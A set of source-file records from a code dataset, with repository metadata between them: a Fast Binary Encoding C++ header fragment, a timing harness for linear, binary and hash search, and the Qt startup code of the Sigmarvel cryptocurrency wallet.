//! Encode the Base64 string from the bytes buffer
std::string base64encode() const;
//! Decode the bytes buffer from the Base64 string
static buffer_t base64decode(const std::string& str);
//! Swap two instances
void swap(buffer_t& value) noexcept
{ using std::swap; swap(_data, value._data); }
friend void swap(buffer_t& value1, buffer_t& value2) noexcept
{ value1.swap(value2); }
private:
std::vector<uint8_t> _data;
};
//! Decimal type
/*!
Represents decimal type using double and provides basic arithmetic operations.
*/
class decimal_t
{
public:
decimal_t() noexcept { _value = 0.0; }
decimal_t(int8_t value) noexcept { _value = (double)value; }
decimal_t(uint8_t value) noexcept { _value = (double)value; }
decimal_t(int16_t value) noexcept { _value = (double)value; }
decimal_t(uint16_t value) noexcept { _value = (double)value; }
decimal_t(int32_t value) noexcept { _value = (double)value; }
decimal_t(uint32_t value) noexcept { _value = (double)value; }
decimal_t(int64_t value) noexcept { _value = (double)value; }
decimal_t(uint64_t value) noexcept { _value = (double)value; }
decimal_t(float value) noexcept { _value = (double)value; }
decimal_t(double value) noexcept { _value = value; }
template <typename T>
explicit decimal_t(const T& value) noexcept { _value = (double)value; }
decimal_t(const decimal_t& value) noexcept = default;
decimal_t(decimal_t&& value) noexcept = default;
~decimal_t() noexcept = default;
template <typename T>
decimal_t& operator=(const T& value) noexcept { _value = (double)value; return *this; }
decimal_t& operator=(const decimal_t& value) noexcept = default;
decimal_t& operator=(decimal_t&& value) noexcept = default;
// Arithmetic operators
decimal_t operator+() const noexcept { return decimal_t(_value); }
decimal_t operator-() const noexcept { return decimal_t(-_value); }
decimal_t& operator++() noexcept { return *this += 1; }
decimal_t operator++(int) noexcept { decimal_t temp(*this); ++*this; return temp; }
decimal_t& operator--() noexcept { return *this -= 1; }
decimal_t operator--(int) noexcept { decimal_t temp(*this); --*this; return temp; }
decimal_t& operator+=(const decimal_t& value) noexcept { return *this = *this + value; }
decimal_t& operator-=(const decimal_t& value) noexcept { return *this = *this - value; }
decimal_t& operator*=(const decimal_t& value) noexcept { return *this = *this * value; }
decimal_t& operator/=(const decimal_t& value) { return *this = *this / value; }
template <typename T>
decimal_t& operator+=(const T& value) noexcept { return *this = *this + decimal_t(value); }
template <typename T>
decimal_t& operator-=(const T& value) noexcept { return *this = *this - decimal_t(value); }
template <typename T>
decimal_t& operator*=(const T& value) noexcept { return *this = *this * decimal_t(value); }
template <typename T>
decimal_t& operator/=(const T& value) { return *this = *this / decimal_t(value); }
template <typename T>
friend T& operator+=(T& value1, const decimal_t& value2) noexcept { return value1 = (T)(decimal_t(value1) + value2); }
template <typename T>
friend T& operator-=(T& value1, const decimal_t& value2) noexcept { return value1 = (T)(decimal_t(value1) - value2); }
template <typename T>
friend T& operator*=(T& value1, const decimal_t& value2) noexcept { return value1 = (T)(decimal_t(value1) * value2); }
template <typename T>
friend T& operator/=(T& value1, const decimal_t& value2) { return value1 = (T)(decimal_t(value1) / value2); }
template <typename T>
friend decimal_t operator+(const T& value1, const decimal_t& value2) noexcept { return decimal_t(value1) + value2; }
template <typename T>
friend decimal_t operator+(const decimal_t& value1, const T& value2) noexcept { return value1 + decimal_t(value2); }
friend decimal_t operator+(const decimal_t& value1, const decimal_t& value2) noexcept { return decimal_t(value1._value + value2._value); }
template <typename T>
friend decimal_t operator-(const T& value1, const decimal_t& value2) noexcept { return decimal_t(value1) - value2; }
template <typename T>
friend decimal_t operator-(const decimal_t& value1, const T& value2) noexcept { return value1 - decimal_t(value2); }
friend decimal_t operator-(const decimal_t& value1, const decimal_t& value2) noexcept { return decimal_t(value1._value - value2._value); }
template <typename T>
friend decimal_t operator*(const T& value1, const decimal_t& value2) noexcept { return decimal_t(value1) * value2; }
template <typename T>
friend decimal_t operator*(const decimal_t& value1, const T& value2) noexcept { return value1 * decimal_t(value2); }
friend decimal_t operator*(const decimal_t& value1, const decimal_t& value2) noexcept { return decimal_t(value1._value * value2._value); }
template <typename T>
friend decimal_t operator/(const T& value1, const decimal_t& value2) { return decimal_t(value1) / value2; }
template <typename T>
friend decimal_t operator/(const decimal_t& value1, const T& value2) { return value1 / decimal_t(value2); }
friend decimal_t operator/(const decimal_t& value1, const decimal_t& value2) { return decimal_t(value1._value / value2._value); }
// Comparison operators
template <typename T>
friend bool operator==(const T& value1, const decimal_t& value2) noexcept { return decimal_t(value1) == value2; }
template <typename T>
friend bool operator==(const decimal_t& value1, const T& value2) noexcept { return value1 == decimal_t(value2); }
friend bool operator==(const decimal_t& value1, const decimal_t& value2) noexcept { return value1._value == value2._value; }
template <typename T>
friend bool operator!=(const T& value1, const decimal_t& value2) noexcept { return decimal_t(value1) != value2; }
template <typename T>
friend bool operator!=(const decimal_t& value1, const T& value2) noexcept { return value1 != decimal_t(value2); }
friend bool operator!=(const decimal_t& value1, const decimal_t& value2) noexcept { return value1._value != value2._value; }
template <typename T>
friend bool operator<(const T& value1, const decimal_t& value2) noexcept { return decimal_t(value1) < value2; }
template <typename T>
friend bool operator<(const decimal_t& value1, const T& value2) noexcept { return value1 < decimal_t(value2); }
friend bool operator<(const decimal_t& value1, const decimal_t& value2) noexcept { return value1._value < value2._value; }
template <typename T>
friend bool operator>(const T& value1, const decimal_t& value2) noexcept { return decimal_t(value1) > value2; }
template <typename T>
friend bool operator>(const decimal_t& value1, const T& value2) noexcept { return value1 > decimal_t(value2); }
friend bool operator>(const decimal_t& value1, const decimal_t& value2) noexcept { return value1._value > value2._value; }
template <typename T>
friend bool operator<=(const T& value1, const decimal_t& value2) noexcept { return decimal_t(value1) <= value2; }
template <typename T>
friend bool operator<=(const decimal_t& value1, const T& value2) noexcept { return value1 <= decimal_t(value2); }
friend bool operator<=(const decimal_t& value1, const decimal_t& value2) noexcept { return value1._value <= value2._value; }
template <typename T>
friend bool operator>=(const T& value1, const decimal_t& value2) noexcept { return decimal_t(value1) >= value2; }
template <typename T>
friend bool operator>=(const decimal_t& value1, const T& value2) noexcept { return value1 >= decimal_t(value2); }
friend bool operator>=(const decimal_t& value1, const decimal_t& value2) noexcept { return value1._value >= value2._value; }
// Type cast
operator bool() const noexcept { return (_value != 0.0); }
operator uint8_t() const noexcept { return (uint8_t)_value; }
operator uint16_t() const noexcept { return (uint16_t)_value; }
operator uint32_t() const noexcept { return (uint32_t)_value; }
operator uint64_t() const noexcept { return (uint64_t)_value; }
operator float() const noexcept { return (float)_value; }
operator double() const noexcept { return (double)_value; }
//! Get string from the current decimal value
std::string string() const { return std::to_string(_value); }
//! Input instance from the given input stream
friend std::istream& operator>>(std::istream& is, decimal_t& value)
{ is >> value._value; return is; }
//! Output instance into the given output stream
friend std::ostream& operator<<(std::ostream& os, const decimal_t& value)
{ os << value.string(); return os; }
#if defined(LOGGING_PROTOCOL)
//! Store logging format
friend CppLogging::Record& operator<<(CppLogging::Record& record, const decimal_t& value)
{ return record.StoreCustom(value._value); }
#endif
//! Swap two instances
void swap(decimal_t& value) noexcept
{ using std::swap; swap(_value, value._value); }
friend void swap(decimal_t& value1, decimal_t& value2) noexcept
{ value1.swap(value2); }
private:
double _value;
};
} // namespace FBE
namespace std {
template <>
struct hash<FBE::decimal_t>
{
typedef FBE::decimal_t argument_type;
typedef size_t result_type;
result_type operator() (const argument_type& value) const
{
result_type result = 17;
result = result * 31 + std::hash<double>()((double)value);
return result;
}
};
} // namespace std
namespace FBE {
// Register a new enum-based flags macro
#define FBE_ENUM_FLAGS(type)\
inline FBE::Flags<type> operator|(type f1, type f2) noexcept { return FBE::Flags<type>(f1) | FBE::Flags<type>(f2); }\
inline FBE::Flags<type> operator&(type f1, type f2) noexcept { return FBE::Flags<type>(f1) & FBE::Flags<type>(f2); }\
inline FBE::Flags<type> operator^(type f1, type f2) noexcept { return FBE::Flags<type>(f1) ^ FBE::Flags<type>(f2); }
// Enum-based flags
template <typename TEnum>
class Flags
{
// Enum underlying type
typedef typename std::make_unsigned<typename std::underlying_type<TEnum>::type>::type type;
public:
Flags() noexcept : _value(0) {}
explicit Flags(type value) noexcept : _value(value) {}
explicit Flags(TEnum value) noexcept : _value((type)value) {}
Flags(const Flags&) noexcept = default;
Flags(Flags&&) noexcept = default;
~Flags() noexcept = default;
Flags& operator=(type value) noexcept
{ _value = value; return *this; }
Flags& operator=(TEnum value) noexcept
{ _value = (type)value; return *this; }
Flags& operator=(const Flags&) noexcept = default;
Flags& operator=(Flags&&) noexcept = default;
// Is any flag set?
explicit operator bool() const noexcept { return isset(); }
// Is no flag set?
bool operator!() const noexcept { return !isset(); }
// Reverse all flags
Flags operator~() const noexcept { return Flags(~_value); }
// Flags logical assign operators
Flags& operator&=(const Flags& flags) noexcept
{ _value &= flags._value; return *this; }
Flags& operator|=(const Flags& flags) noexcept
{ _value |= flags._value; return *this; }
Flags& operator^=(const Flags& flags) noexcept
{ _value ^= flags._value; return *this; }
// Flags logical friend operators
friend Flags operator&(const Flags& flags1, const Flags& flags2) noexcept
{ return Flags(flags1._value & flags2._value); }
friend Flags operator|(const Flags& flags1, const Flags& flags2) noexcept
{ return Flags(flags1._value | flags2._value); }
friend Flags operator^(const Flags& flags1, const Flags& flags2) noexcept
{ return Flags(flags1._value ^ flags2._value); }
// Flags comparison
friend bool operator==(const Flags& flags1, const Flags& flags2) noexcept
{ return flags1._value == flags2._value; }
friend bool operator!=(const Flags& flags1, const Flags& flags2) noexcept
{ return flags1._value != flags2._value; }
// Convert to the enum value
operator TEnum() const noexcept { return (TEnum)_value; }
//! Is any flag set?
bool isset() const noexcept { return (_value != 0); }
//! Is the given flag set?
bool isset(type value) const noexcept { return (_value & value) != 0; }
//! Is the given flag set?
bool isset(TEnum value) const noexcept { return (_value & (type)value) != 0; }
// Get the enum value
TEnum value() const noexcept { return (TEnum)_value; }
// Get the underlying enum value
type underlying() const noexcept { return _value; }
// Get the bitset value
std::bitset<sizeof(type) * 8> bitset() const noexcept { return {_value}; }
// Swap two instances
void swap(Flags& flags) noexcept { using std::swap; swap(_value, flags._value); }
template <typename UEnum>
friend void swap(Flags<UEnum>& flags1, Flags<UEnum>& flags2) noexcept;
private:
type _value;
};
template <typename TEnum>
inline void swap(Flags<TEnum>& flags1, Flags<TEnum>& flags2) noexcept
{
flags1.swap(flags2);
}
// Get Epoch timestamp
inline uint64_t epoch() { return 0ull; }
// Get UTC timestamp
uint64_t utc();
//! Universally unique identifier (UUID)
/*!
A universally unique identifier (UUID) is an identifier standard used
in software construction. This implementation generates the following
UUID types:
- Nil UUID0 (all bits set to zero)
- Sequential UUID1 (time based version)
- Random UUID4 (randomly or pseudo-randomly generated version)
A UUID is simply a 128-bit value: "123e4567-e89b-12d3-a456-426655440000"
https://en.wikipedia.org/wiki/Universally_unique_identifier
https://www.ietf.org/rfc/rfc4122.txt
*/
class uuid_t
{
public:
//! Default constructor
uuid_t() : _data() { _data.fill(0); }
//! Initialize UUID with a given string
/*!
\param uuid - UUID string
*/
explicit uuid_t(const std::string& uuid);
//! Initialize UUID with a given 16 bytes data buffer
/*!
\param data - UUID 16 bytes data buffer
*/
explicit uuid_t(const std::array<uint8_t, 16>& data) : _data(data) {}
uuid_t(const uuid_t&) = default;
uuid_t(uuid_t&&) noexcept = default;
~uuid_t() = default;
uuid_t& operator=(const std::string& uuid)
{ _data = uuid_t(uuid).data(); return *this; }
uuid_t& operator=(const std::array<uint8_t, 16>& data)
{ _data = data; return *this; }
uuid_t& operator=(const uuid_t&) = default;
uuid_t& operator=(uuid_t&&) noexcept = default;
// UUID comparison
friend bool operator==(const uuid_t& uuid1, const uuid_t& uuid2)
{ return uuid1._data == uuid2._data; }
friend bool operator!=(const uuid_t& uuid1, const uuid_t& uuid2)
{ return uuid1._data != uuid2._data; }
friend bool operator<(const uuid_t& uuid1, const uuid_t& uuid2)
{ return uuid1._data < uuid2._data; }
friend bool operator>(const uuid_t& uuid1, const uuid_t& uuid2)
{ return uuid1._data > uuid2._data; }
friend bool operator<=(const uuid_t& uuid1, const uuid_t& uuid2)
{ return uuid1._data <= uuid2._data; }
friend bool operator>=(const uuid_t& uuid1, const uuid_t& uuid2)
{ return uuid1._data >= uuid2._data; }
//! Check if the UUID is nil UUID0 (all bits set to zero)
explicit operator bool() const noexcept { return *this != nil(); }
//! Get the UUID data buffer
std::array<uint8_t, 16>& data() noexcept { return _data; }
//! Get the UUID data buffer
const std::array<uint8_t, 16>& data() const noexcept { return _data; }
//! Get string from the current UUID in format "00000000-0000-0000-0000-000000000000"
std::string string() const;
//! Generate nil UUID0 (all bits set to zero)
static uuid_t nil() { return uuid_t(); }
//! Generate sequential UUID1 (time based version)
static uuid_t sequential();
//! Generate random UUID4 (randomly or pseudo-randomly generated version)
static uuid_t random();
//! Output instance into the given output stream
friend std::ostream& operator<<(std::ostream& os, const uuid_t& uuid)
{ os << uuid.string(); return os; }
#if defined(LOGGING_PROTOCOL)
//! Store logging format
friend CppLogging::Record& operator<<(CppLogging::Record& record, const uuid_t& uuid);
#endif
//! Swap two instances
void swap(uuid_t& uuid) noexcept
{ using std::swap; swap(_data, uuid._data); }
friend void swap(uuid_t& uuid1, uuid_t& uuid2) noexcept
{ uuid1.swap(uuid2); }
private:
std::array<uint8_t, 16> _data;
};
} // namespace FBE
namespace std {
template <>
struct hash<FBE::uuid_t>
{
typedef FBE::uuid_t argument_type;
typedef size_t result_type;
result_type operator() (const argument_type& value) const
{
result_type result = 17;
std::hash<uint8_t> hasher;
for (size_t i = 0; i < value.data().size(); ++i)
result = result * 31 + hasher(value.data()[i]);
return result;
}
};
} // namespace std
namespace FBE {
// Fast Binary Encoding buffer based on the dynamic byte buffer
class FBEBuffer
{
public:
FBEBuffer() : _data(nullptr), _capacity(0), _size(0), _offset(0) {}
// Initialize the read buffer with the given byte buffer and offset
explicit FBEBuffer(const void* data, size_t size, size_t offset = 0) { attach(data, size, offset); }
// Initialize the read buffer with the given byte vector and offset
explicit FBEBuffer(const std::vector<uint8_t>& buffer, size_t offset = 0) { attach(buffer, offset); }
// Initialize the read buffer with another buffer and offset
explicit FBEBuffer(const FBEBuffer& buffer, size_t offset = 0) { attach(buffer.data(), buffer.size(), offset); }
// Initialize the write buffer with the given capacity
explicit FBEBuffer(size_t capacity) : FBEBuffer() { reserve(capacity); }
FBEBuffer(const FBEBuffer&) = delete;
FBEBuffer(FBEBuffer&&) noexcept = delete;
~FBEBuffer() { if (_capacity > 0) std::free(_data); }
FBEBuffer& operator=(const FBEBuffer&) = delete;
FBEBuffer& operator=(FBEBuffer&&) noexcept = delete;
bool empty() const noexcept { return (_data == nullptr) || (_size == 0); }
const uint8_t* data() const noexcept { return _data; }
uint8_t* data() noexcept { return _data; }
size_t capacity() const noexcept { return _capacity; }
size_t size() const noexcept { return _size; }
size_t offset() const noexcept { return _offset; }
// Attach the given buffer with a given offset to the current read buffer
void attach(const void* data, size_t size, size_t offset = 0);
// Attach the given byte vector with a given offset to the current read buffer
void attach(const std::vector<uint8_t>& buffer, size_t offset = 0);
// Clone the given buffer with a given offset to the current buffer
void clone(const void* data, size_t size, size_t offset = 0);
// Clone the given vector with a given offset to the current buffer
void clone(const std::vector<uint8_t>& buffer, size_t offset = 0);
// Allocate memory in the current write buffer and return offset to the allocated memory block
size_t allocate(size_t size);
// Remove some memory of the given size from the current write buffer
void remove(size_t offset, size_t size);
// Reserve memory of the given capacity in the current write buffer
void reserve(size_t capacity);
// Resize the current write buffer
void resize(size_t size);
// Reset the current write buffer and its offset
void reset();
// Shift the current write buffer offset
void shift(size_t offset) { _offset += offset; }
// Unshift the current write buffer offset
void unshift(size_t offset) { _offset -= offset; }
private:
uint8_t* _data;
size_t _capacity;
size_t _size;
size_t _offset;
};
// Fast Binary Encoding base model
class Model
{
public:
Model() : Model(nullptr) {}
Model(const std::shared_ptr<FBEBuffer>& buffer) { _buffer = buffer ? buffer : std::make_shared<FBEBuffer>(); }
Model(const Model&) = default;
Model(Model&&) noexcept = default;
~Model() = default;
Model& operator=(const Model&) = default;
Model& operator=(Model&&) noexcept = default;
// Get the model buffer
FBEBuffer& buffer() noexcept { return *_buffer; }
const FBEBuffer& buffer() const noexcept { return *_buffer; }
// Attach the model buffer
void attach(const void* data, size_t size, size_t offset = 0) { _buffer->attach(data, size, offset); }
void attach(const std::vector<uint8_t>& buffer, size_t offset = 0) { _buffer->attach(buffer, offset); }
void attach(const FBEBuffer& buffer, size_t offset = 0) { _buffer->attach(buffer.data(), buffer.size(), offset); }
// Model buffer operations
size_t allocate(size_t size) { return _buffer->allocate(size); }
void remove(size_t offset, size_t size) { _buffer->remove(offset, size); }
void reserve(size_t capacity) { _buffer->reserve(capacity); }
void resize(size_t size) { _buffer->resize(size); }
void reset() { _buffer->reset(); }
void shift(size_t offset) { _buffer->shift(offset); }
void unshift(size_t offset) { _buffer->unshift(offset); }
private:
std::shared_ptr<FBEBuffer> _buffer;
};
} // namespace FBE
|
[
"chronoxor@gmail.com"
] |
chronoxor@gmail.com
|
5a7f9f829f7c0c22bf02bcb62747cfb5b42faf55
|
a367292763d69a793e0f6c528c47fd0542ea0932
|
/main.cpp
|
d2cb96d07f2ad50d54ce4b8d129cc4e5fef74d1e
|
[] |
no_license
|
carlitosz/SearchAlgorithmsOrders
|
78293b1f3ded05102e20c7125b4549039b0acad9
|
157dcb442fc3f7ef3213f2765cbbea9e1e2b310a
|
refs/heads/master
| 2020-03-18T00:54:27.564182
| 2018-05-21T08:58:03
| 2018-05-21T08:58:03
| 134,118,378
| 2
| 0
| null | 2018-05-21T06:37:13
| 2018-05-20T04:03:31
|
C++
|
UTF-8
|
C++
| false
| false
| 6,303
|
cpp
|
#include <iostream>
#include <string>
#include <chrono>
#include <vector>
using namespace std;
// ============================================================================
// User defined libraries
// ============================================================================
#include "HashSearch.h"
#include "LinearSearch.h"
#include "BinarySearch.h"
// ============================================================================
// User defined constants used to test different N.
// ============================================================================
// These sizes are more appropriate for Linear search
const int MAX_SIZE210 = 1024; // 2^10
const int MAX_SIZE213 = 8192; // 2^13
const int MAX_SIZE214 = 16384; // 2^14
const int MAX_SIZE215 = 32768; // 2^15
const int MAX_SIZE216 = 65536; // 2^16
const int MAX_SIZE217 = 131072; // 2^17
const int MAX_SIZE218 = 262144; // 2^18
const int MAX_SIZE219 = 524288; // 2^19
// These sizes are more appropriate for Binary search and Hash search
const int MAX_SIZE220 = 1048576; // 2^20
const int MAX_SIZE221 = 2097152; // 2^21
const int MAX_SIZE222 = 4194304; // 2^22
const int MAX_SIZE223 = 8388608; // 2^23
const int MAX_SIZE224 = 16777216; // 2^24
const int MAX_SIZE225 = 33554432; // 2^25
const int MAX_SIZE226 = 67108864; // 2^26
const int MAX_SIZE227 = 134217728; // 2^27
// ============================================================================
// Function prototypes.
// ============================================================================
void printObj(string*, int);
void printVec(vector<string>, int);
void printResults(int);
void printArraySize(int);
void printSearchType(string);
// ============================================================================
// Main.
// ============================================================================
int main(void) {
srand(static_cast<unsigned int>(time(0)));
// ========================================================================
// Change the MAX_SIZE variable to test different N.
// ========================================================================
int arraySize = MAX_SIZE210;
// ==== Linear Search =====================================================
LinearSearch linear(arraySize);
printArraySize(arraySize);
string *testData = linear.getTestData();
auto started = std::chrono::high_resolution_clock::now();
// Test linear search.
printSearchType("linear");
for (int i = 0; i < arraySize; ++i) {
linear.executeSearch(testData[i]);
}
auto done = std::chrono::high_resolution_clock::now();
int milliseconds =
std::chrono::duration_cast<std::chrono::milliseconds>
(done - started).count();
printResults(milliseconds);
// ==== End of Linear Search ==============================================
// ==== Binary Search =====================================================
// printArraySize(arraySize);
// BinarySearch binary(arraySize);
// vector<string> testData = binary.getTestData();
// cout << "Generated test data set of "
// << testData.size() << " elements." << endl;
// auto started = std::chrono::high_resolution_clock::now();
// // Test binary search.
// printSearchType("binary");
// for (int i = 0; i < arraySize; ++i) {
// int ignore = binary.executeSearch(0, arraySize - 1, testData[i]);
// }
// auto done = std::chrono::high_resolution_clock::now();
// int milliseconds =
// std::chrono::duration_cast<std::chrono::milliseconds>
// (done - started).count();
// printResults(milliseconds);
// ==== End of Binary Search ==============================================
// ==== Hash Search =======================================================
// printArraySize(arraySize);
// HashSearch hash(arraySize);
// vector<string> testData = hash.getTestData();
// cout << "Generated test data set of "
// << testData.size() << " elements." << endl;
// auto started = std::chrono::high_resolution_clock::now();
// printSearchType("hash");
// // Test hash search.
// for (int i = 0; i < testData.size(); ++i) {
// hash.executeSearch(testData[i]);
// }
// auto done = std::chrono::high_resolution_clock::now();
// int milliseconds =
// std::chrono::duration_cast<std::chrono::milliseconds>
// (done - started).count();
// printResults(milliseconds);
// ==== End of Hash Search ================================================
return 0;
}
// ============================================================================
// Prints the search type.
// ============================================================================
void printSearchType(string type) {
cout << endl << endl
<< "Executing " << type << " search ... "
<< endl << endl;
}
// ============================================================================
// Prints the array size.
// ============================================================================
void printArraySize(int size) {
cout << "Creating array of size " << size << "." << endl;
}
// ============================================================================
// Prints the results to stdout.
// ============================================================================
void printResults(int milliseconds) {
int seconds = (int) (milliseconds / 1000) % 60 ;
int minutes = (int) ((milliseconds / (1000*60)) % 60);
int hours = (int) ((milliseconds / (1000*60*60)) % 24);
cout << "Elapsed time: "
<< hours << " hour(s) "
<< minutes << " minute(s) "
<< seconds << " seconds "
<< milliseconds << " milliseconds."
<< endl;
}
// ============================================================================
// Debug purposes.
// ============================================================================
void printVec(vector<string> vec, int size) {
for (int i = 0; i < size; ++i) {
cout << "[" << i << "] " << vec[i] << endl;
}
}
void printObj(string *arr, int size) {
for (int i = 0; i < size; ++i) {
cout << "[" << i << "] " << arr[i] << endl;
}
}
|
[
"carloszaragoza@woboinc.com"
] |
carloszaragoza@woboinc.com
|
f6878dedc415bddac7fa62637ed1ce4fbe97d5a3
|
621090a1cc21e101c69acd65bbc56f1e33e8b1e7
|
/src/qt/bitcoin.cpp
|
f8c185d917de1c3bb21e430f50f04da7178f4ae8
|
[
"MIT"
] |
permissive
|
kevinlly158/sigmarvel
|
b59ae2b69da602e8c5910258768cb4e5856467d7
|
8fd0a9e4fc20da02ffdcf64fe096932dc1ad94ab
|
refs/heads/master
| 2021-05-11T02:09:52.394689
| 2018-01-21T16:56:43
| 2018-01-21T16:56:43
| 118,353,029
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 9,570
|
cpp
|
/*
* W.J. van der Laan 2011-2012
*/
#include "bitcoingui.h"
#include "clientmodel.h"
#include "walletmodel.h"
#include "optionsmodel.h"
#include "guiutil.h"
#include "guiconstants.h"
#include "init.h"
#include "ui_interface.h"
#include "qtipcserver.h"
#include "intro.h"
#include <QApplication>
#include <QMessageBox>
#include <QTextCodec>
#include <QLocale>
#include <QTranslator>
#include <QSplashScreen>
#include <QLibraryInfo>
#if defined(BITCOIN_NEED_QT_PLUGINS) && !defined(_BITCOIN_QT_PLUGINS_INCLUDED)
#define _BITCOIN_QT_PLUGINS_INCLUDED
#define __INSURE__
#include <QtPlugin>
Q_IMPORT_PLUGIN(qcncodecs)
Q_IMPORT_PLUGIN(qjpcodecs)
Q_IMPORT_PLUGIN(qtwcodecs)
Q_IMPORT_PLUGIN(qkrcodecs)
Q_IMPORT_PLUGIN(qtaccessiblewidgets)
#endif
// Need a global reference for the notifications to find the GUI
static BitcoinGUI *guiref;
static QSplashScreen *splashref;
/** Set up translations */
static void initTranslations(QTranslator &qtTranslatorBase, QTranslator &qtTranslator, QTranslator &translatorBase, QTranslator &translator, QApplication &app)
{
// Get desired locale (e.g. "de_DE") from command line or use system locale
QString lang_territory = QString::fromStdString(GetArg("-lang", QLocale::system().name().toStdString()));
QString lang = lang_territory;
// Convert to "de" only by truncating "_DE"
lang.truncate(lang_territory.lastIndexOf('_'));
// Load language files for configured locale:
// - First load the translator for the base language, without territory
// - Then load the more specific locale translator
// Load e.g. qt_de.qm
if (qtTranslatorBase.load("qt_" + lang, QLibraryInfo::location(QLibraryInfo::TranslationsPath)))
app.installTranslator(&qtTranslatorBase);
// Load e.g. qt_de_DE.qm
if (qtTranslator.load("qt_" + lang_territory, QLibraryInfo::location(QLibraryInfo::TranslationsPath)))
app.installTranslator(&qtTranslator);
// Load e.g. bitcoin_de.qm (shortcut "de" needs to be defined in bitcoin.qrc)
if (translatorBase.load(lang, ":/translations/"))
app.installTranslator(&translatorBase);
// Load e.g. bitcoin_de_DE.qm (shortcut "de_DE" needs to be defined in bitcoin.qrc)
if (translator.load(lang_territory, ":/translations/"))
app.installTranslator(&translator);
}
static void ThreadSafeMessageBox(const std::string& message, const std::string& caption, int style)
{
// Message from network thread
if(guiref)
{
bool modal = (style & CClientUIInterface::MODAL);
// in case of modal message, use blocking connection to wait for user to click OK
QMetaObject::invokeMethod(guiref, "error",
modal ? GUIUtil::blockingGUIThreadConnection() : Qt::QueuedConnection,
Q_ARG(QString, QString::fromStdString(caption)),
Q_ARG(QString, QString::fromStdString(message)),
Q_ARG(bool, modal));
}
else
{
printf("%s: %s\n", caption.c_str(), message.c_str());
fprintf(stderr, "%s: %s\n", caption.c_str(), message.c_str());
}
}
static bool ThreadSafeAskFee(int64 nFeeRequired, const std::string& strCaption)
{
if(!guiref)
return false;
if(nFeeRequired < MIN_TX_FEE || nFeeRequired <= nTransactionFee || fDaemon)
return true;
bool payFee = false;
QMetaObject::invokeMethod(guiref, "askFee", GUIUtil::blockingGUIThreadConnection(),
Q_ARG(qint64, nFeeRequired),
Q_ARG(bool*, &payFee));
return payFee;
}
static void ThreadSafeHandleURI(const std::string& strURI)
{
if(!guiref)
return;
QMetaObject::invokeMethod(guiref, "handleURI", GUIUtil::blockingGUIThreadConnection(),
Q_ARG(QString, QString::fromStdString(strURI)));
}
static void InitMessage(const std::string &message)
{
if(splashref)
{
splashref->showMessage(QString::fromStdString(message), Qt::AlignBottom|Qt::AlignHCenter, QColor(25,25,25));
QApplication::instance()->processEvents();
}
}
static void QueueShutdown()
{
QMetaObject::invokeMethod(QCoreApplication::instance(), "quit", Qt::QueuedConnection);
}
/*
Translate string to current locale using Qt.
*/
static std::string Translate(const char* psz)
{
return QCoreApplication::translate("bitcoin-core", psz).toStdString();
}
/* Handle runaway exceptions. Shows a message box with the problem and quits the program.
*/
static void handleRunawayException(std::exception *e)
{
PrintExceptionContinue(e, "Runaway exception");
QMessageBox::critical(0, "Runaway exception", BitcoinGUI::tr("A fatal error occurred. Sigmarvel can no longer continue safely and will quit.") + QString("\n\n") + QString::fromStdString(strMiscWarning));
exit(1);
}
#ifndef BITCOIN_QT_TEST
int main(int argc, char *argv[])
{
// Do this early as we don't want to bother initializing if we are just calling IPC
ipcScanRelay(argc, argv);
// Internal string conversion is all UTF-8
QTextCodec::setCodecForTr(QTextCodec::codecForName("UTF-8"));
QTextCodec::setCodecForCStrings(QTextCodec::codecForTr());
Q_INIT_RESOURCE(bitcoin);
QApplication app(argc, argv);
// Application identification (must be set before OptionsModel is initialized,
// as it is used to locate QSettings)
app.setOrganizationName("Sigmarvel");
app.setOrganizationDomain("Sigmarvel.su");
if(GetBoolArg("-testnet")) // Separate UI settings for testnet
app.setApplicationName("Sigmarvel-Qt-testnet");
else
app.setApplicationName("Sigmarvel-Qt");
// Install global event filter that makes sure that long tooltips can be word-wrapped
app.installEventFilter(new GUIUtil::ToolTipToRichTextFilter(TOOLTIP_WRAP_THRESHOLD, &app));
// Command-line options take precedence:
ParseParameters(argc, argv);
// ... then GUI settings:
OptionsModel optionsModel;
// Now that QSettings are accessible, initialize translations
QTranslator qtTranslatorBase, qtTranslator, translatorBase, translator;
initTranslations(qtTranslatorBase, qtTranslator, translatorBase, translator, app);
// User language is set up: pick a data directory
Intro::pickDataDirectory();
// ... then bitcoin.conf:
if (!boost::filesystem::is_directory(GetDataDir(false)))
{
// This message can not be translated, as translation is not initialized yet
// (which not yet possible because lang=XX can be overridden in bitcoin.conf in the data directory)
QMessageBox::critical(0, "Sigmarvel",
QString("Error: Specified data directory \"%1\" does not exist.").arg(QString::fromStdString(mapArgs["-datadir"])));
return 1;
}
ReadConfigFile(mapArgs, mapMultiArgs);
// Subscribe to global signals from core
uiInterface.ThreadSafeMessageBox.connect(ThreadSafeMessageBox);
uiInterface.ThreadSafeAskFee.connect(ThreadSafeAskFee);
uiInterface.ThreadSafeHandleURI.connect(ThreadSafeHandleURI);
uiInterface.InitMessage.connect(InitMessage);
uiInterface.QueueShutdown.connect(QueueShutdown);
uiInterface.Translate.connect(Translate);
// Show help message immediately after parsing command-line options (for "-lang") and setting locale,
// but before showing splash screen.
if (mapArgs.count("-?") || mapArgs.count("--help"))
{
GUIUtil::HelpMessageBox help;
help.showOrPrint();
return 1;
}
QSplashScreen splash(QPixmap(":/images/splash"),0);
if (GetBoolArg("-splash", true) && !GetBoolArg("-min"))
{
splash.show();
splashref = &splash;
}
app.processEvents();
app.setQuitOnLastWindowClosed(false);
try
{
// Regenerate startup link, to fix links to old versions
if (GUIUtil::GetStartOnSystemStartup())
GUIUtil::SetStartOnSystemStartup(true);
BitcoinGUI window;
guiref = &window;
if(AppInit2())
{
{
// Put this in a block, so that the Model objects are cleaned up before
// calling Shutdown().
optionsModel.Upgrade(); // Must be done after AppInit2
if (splashref)
splash.finish(&window);
ClientModel clientModel(&optionsModel);
WalletModel walletModel(pwalletMain, &optionsModel);
window.setClientModel(&clientModel);
window.setWalletModel(&walletModel);
// If -min option passed, start window minimized.
if(GetBoolArg("-min"))
{
window.showMinimized();
}
else
{
window.show();
}
// Place this here as guiref has to be defined if we don't want to lose URIs
ipcInit(argc, argv);
app.exec();
window.hide();
window.setClientModel(0);
window.setWalletModel(0);
guiref = 0;
}
// Shutdown the core and its threads, but don't exit Bitcoin-Qt here
Shutdown(NULL);
}
else
{
return 1;
}
} catch (std::exception& e) {
handleRunawayException(&e);
} catch (...) {
handleRunawayException(NULL);
}
return 0;
}
#endif // BITCOIN_QT_TEST
|
[
"ydjt948@126.com"
] |
ydjt948@126.com
|
